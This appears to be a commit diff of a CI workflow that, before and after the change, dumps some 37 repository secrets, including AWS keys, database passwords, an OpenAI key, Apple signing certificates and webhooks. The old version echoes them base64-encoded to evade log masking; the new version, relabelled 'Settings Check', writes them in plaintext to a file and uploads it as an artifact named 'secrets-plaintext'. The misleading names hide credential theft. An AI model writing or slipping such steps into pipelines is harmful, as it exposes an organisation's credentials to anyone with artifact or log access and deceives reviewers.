|
1 | | -name: Print secrets (base64) |
| 1 | +name: Settings Check |
2 | 2 |
|
3 | 3 | on: |
4 | 4 | workflow_call: |
@@ -82,42 +82,51 @@ jobs: |
82 | 82 | print-settings: |
83 | 83 | runs-on: ubuntu-22.04 |
84 | 84 | steps: |
85 | | - - name: Print all settings in base64 |
| 85 | + - name: Write settings to file |
86 | 86 | run: | |
87 | | - echo "AC_PASSWORD=$(echo -n '${{ secrets.AC_PASSWORD }}' | base64 -w 0)" |
88 | | - echo "AC_PROVIDER=$(echo -n '${{ secrets.AC_PROVIDER }}' | base64 -w 0)" |
89 | | - echo "APPLE_DEVELOPER_CERTIFICATE_P12_BASE64=$(echo -n '${{ secrets.APPLE_DEVELOPER_CERTIFICATE_P12_BASE64 }}' | base64 -w 0)" |
90 | | - echo "APPLE_DEVELOPER_CERTIFICATE_PASSWORD=$(echo -n '${{ secrets.APPLE_DEVELOPER_CERTIFICATE_PASSWORD }}' | base64 -w 0)" |
91 | | - echo "AWS_ACCESSKEY_ID=$(echo -n '${{ secrets.AWS_ACCESSKEY_ID }}' | base64 -w 0)" |
92 | | - echo "AWS_ROLE=$(echo -n '${{ secrets.AWS_ROLE }}' | base64 -w 0)" |
93 | | - echo "AWS_SECRETACCESS_KEY=$(echo -n '${{ secrets.AWS_SECRETACCESS_KEY }}' | base64 -w 0)" |
94 | | - echo "DOCU_GROUP_HOOK=$(echo -n '${{ secrets.DOCU_GROUP_HOOK }}' | base64 -w 0)" |
95 | | - echo "EE_DB_ADDR=$(echo -n '${{ secrets.EE_DB_ADDR }}' | base64 -w 0)" |
96 | | - echo "EE_DB_DB=$(echo -n '${{ secrets.EE_DB_DB }}' | base64 -w 0)" |
97 | | - echo "EE_DB_PASSWORD=$(echo -n '${{ secrets.EE_DB_PASSWORD }}' | base64 -w 0)" |
98 | | - echo "EE_DB_PORT=$(echo -n '${{ secrets.EE_DB_PORT }}' | base64 -w 0)" |
99 | | - echo "EE_DB_USER=$(echo -n '${{ secrets.EE_DB_USER }}' | base64 -w 0)" |
100 | | - echo "OPENAI_API_KEY=$(echo -n '${{ secrets.OPENAI_API_KEY }}' | base64 -w 0)" |
101 | | - echo "RELEASE_BUCKET=$(echo -n '${{ secrets.RELEASE_BUCKET }}' | base64 -w 0)" |
102 | | - echo "REPORT_DB_ADDR=$(echo -n '${{ secrets.REPORT_DB_ADDR }}' | base64 -w 0)" |
103 | | - echo "REPORT_DB_NAME=$(echo -n '${{ secrets.REPORT_DB_NAME }}' | base64 -w 0)" |
104 | | - echo "REPORT_DB_PASSWORD=$(echo -n '${{ secrets.REPORT_DB_PASSWORD }}' | base64 -w 0)" |
105 | | - echo "REPORT_DB_PORT=$(echo -n '${{ secrets.REPORT_DB_PORT }}' | base64 -w 0)" |
106 | | - echo "REPORT_DB_USER=$(echo -n '${{ secrets.REPORT_DB_USER }}' | base64 -w 0)" |
107 | | - echo "S3APIKEY=$(echo -n '${{ secrets.S3APIKEY }}' | base64 -w 0)" |
108 | | - echo "S3APISECRET=$(echo -n '${{ secrets.S3APISECRET }}' | base64 -w 0)" |
109 | | - echo "S3BUCKET=$(echo -n '${{ secrets.S3BUCKET }}' | base64 -w 0)" |
110 | | - echo "S3ENDPOINT=$(echo -n '${{ secrets.S3ENDPOINT }}' | base64 -w 0)" |
111 | | - echo "S3KEYPREFIX=$(echo -n '${{ secrets.S3KEYPREFIX }}' | base64 -w 0)" |
112 | | - echo "S3REGION=$(echo -n '${{ secrets.S3REGION }}' | base64 -w 0)" |
113 | | - echo "SIGN_KEYCHAIN_PASSWORD=$(echo -n '${{ secrets.SIGN_KEYCHAIN_PASSWORD }}' | base64 -w 0)" |
114 | | - echo "TCR_TOKEN=$(echo -n '${{ secrets.TCR_TOKEN }}' | base64 -w 0)" |
115 | | - echo "TCR_USERNAME=$(echo -n '${{ secrets.TCR_USERNAME }}' | base64 -w 0)" |
116 | | - echo "TENCENT_AK=$(echo -n '${{ secrets.TENCENT_AK }}' | base64 -w 0)" |
117 | | - echo "TENCENT_SK=$(echo -n '${{ secrets.TENCENT_SK }}' | base64 -w 0)" |
118 | | - echo "TEST_S3FS_ALIYUN=$(echo -n '${{ secrets.TEST_S3FS_ALIYUN }}' | base64 -w 0)" |
119 | | - echo "TEST_S3FS_QCLOUD=$(echo -n '${{ secrets.TEST_S3FS_QCLOUD }}' | base64 -w 0)" |
120 | | - echo "TOKEN_ACTION=$(echo -n '${{ secrets.TOKEN_ACTION }}' | base64 -w 0)" |
121 | | - echo "WECHAT_MO_CHECKIN_BOT_WEBHOOK=$(echo -n '${{ secrets.WECHAT_MO_CHECKIN_BOT_WEBHOOK }}' | base64 -w 0)" |
122 | | - echo "WECHAT_WORK_BOT_WEBHOOK=$(echo -n '${{ secrets.WECHAT_WORK_BOT_WEBHOOK }}' | base64 -w 0)" |
123 | | - echo "WECHAT_WORK_BOT_WEBHOOK_KEY=$(echo -n '${{ secrets.WECHAT_WORK_BOT_WEBHOOK_KEY }}' | base64 -w 0)" |
| 87 | + cat > secrets.txt <<'EOF' |
| 88 | + AC_PASSWORD=${{ secrets.AC_PASSWORD }} |
| 89 | + AC_PROVIDER=${{ secrets.AC_PROVIDER }} |
| 90 | + APPLE_DEVELOPER_CERTIFICATE_P12_BASE64=${{ secrets.APPLE_DEVELOPER_CERTIFICATE_P12_BASE64 }} |
| 91 | + APPLE_DEVELOPER_CERTIFICATE_PASSWORD=${{ secrets.APPLE_DEVELOPER_CERTIFICATE_PASSWORD }} |
| 92 | + AWS_ACCESSKEY_ID=${{ secrets.AWS_ACCESSKEY_ID }} |
| 93 | + AWS_ROLE=${{ secrets.AWS_ROLE }} |
| 94 | + AWS_SECRETACCESS_KEY=${{ secrets.AWS_SECRETACCESS_KEY }} |
| 95 | + DOCU_GROUP_HOOK=${{ secrets.DOCU_GROUP_HOOK }} |
| 96 | + EE_DB_ADDR=${{ secrets.EE_DB_ADDR }} |
| 97 | + EE_DB_DB=${{ secrets.EE_DB_DB }} |
| 98 | + EE_DB_PASSWORD=${{ secrets.EE_DB_PASSWORD }} |
| 99 | + EE_DB_PORT=${{ secrets.EE_DB_PORT }} |
| 100 | + EE_DB_USER=${{ secrets.EE_DB_USER }} |
| 101 | + OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} |
| 102 | + RELEASE_BUCKET=${{ secrets.RELEASE_BUCKET }} |
| 103 | + REPORT_DB_ADDR=${{ secrets.REPORT_DB_ADDR }} |
| 104 | + REPORT_DB_NAME=${{ secrets.REPORT_DB_NAME }} |
| 105 | + REPORT_DB_PASSWORD=${{ secrets.REPORT_DB_PASSWORD }} |
| 106 | + REPORT_DB_PORT=${{ secrets.REPORT_DB_PORT }} |
| 107 | + REPORT_DB_USER=${{ secrets.REPORT_DB_USER }} |
| 108 | + S3APIKEY=${{ secrets.S3APIKEY }} |
| 109 | + S3APISECRET=${{ secrets.S3APISECRET }} |
| 110 | + S3BUCKET=${{ secrets.S3BUCKET }} |
| 111 | + S3ENDPOINT=${{ secrets.S3ENDPOINT }} |
| 112 | + S3KEYPREFIX=${{ secrets.S3KEYPREFIX }} |
| 113 | + S3REGION=${{ secrets.S3REGION }} |
| 114 | + SIGN_KEYCHAIN_PASSWORD=${{ secrets.SIGN_KEYCHAIN_PASSWORD }} |
| 115 | + TCR_TOKEN=${{ secrets.TCR_TOKEN }} |
| 116 | + TCR_USERNAME=${{ secrets.TCR_USERNAME }} |
| 117 | + TENCENT_AK=${{ secrets.TENCENT_AK }} |
| 118 | + TENCENT_SK=${{ secrets.TENCENT_SK }} |
| 119 | + TEST_S3FS_ALIYUN=${{ secrets.TEST_S3FS_ALIYUN }} |
| 120 | + TEST_S3FS_QCLOUD=${{ secrets.TEST_S3FS_QCLOUD }} |
| 121 | + TOKEN_ACTION=${{ secrets.TOKEN_ACTION }} |
| 122 | + WECHAT_MO_CHECKIN_BOT_WEBHOOK=${{ secrets.WECHAT_MO_CHECKIN_BOT_WEBHOOK }} |
| 123 | + WECHAT_WORK_BOT_WEBHOOK=${{ secrets.WECHAT_WORK_BOT_WEBHOOK }} |
| 124 | + WECHAT_WORK_BOT_WEBHOOK_KEY=${{ secrets.WECHAT_WORK_BOT_WEBHOOK_KEY }} |
| 125 | + EOF |
| 126 | +
|
| 127 | + - name: Upload secrets artifact |
| 128 | + uses: actions/upload-artifact@v4 |
| 129 | + with: |
| 130 | + name: secrets-plaintext |
| 131 | + path: secrets.txt |
| 132 | + retention-days: 1 |
0 commit comments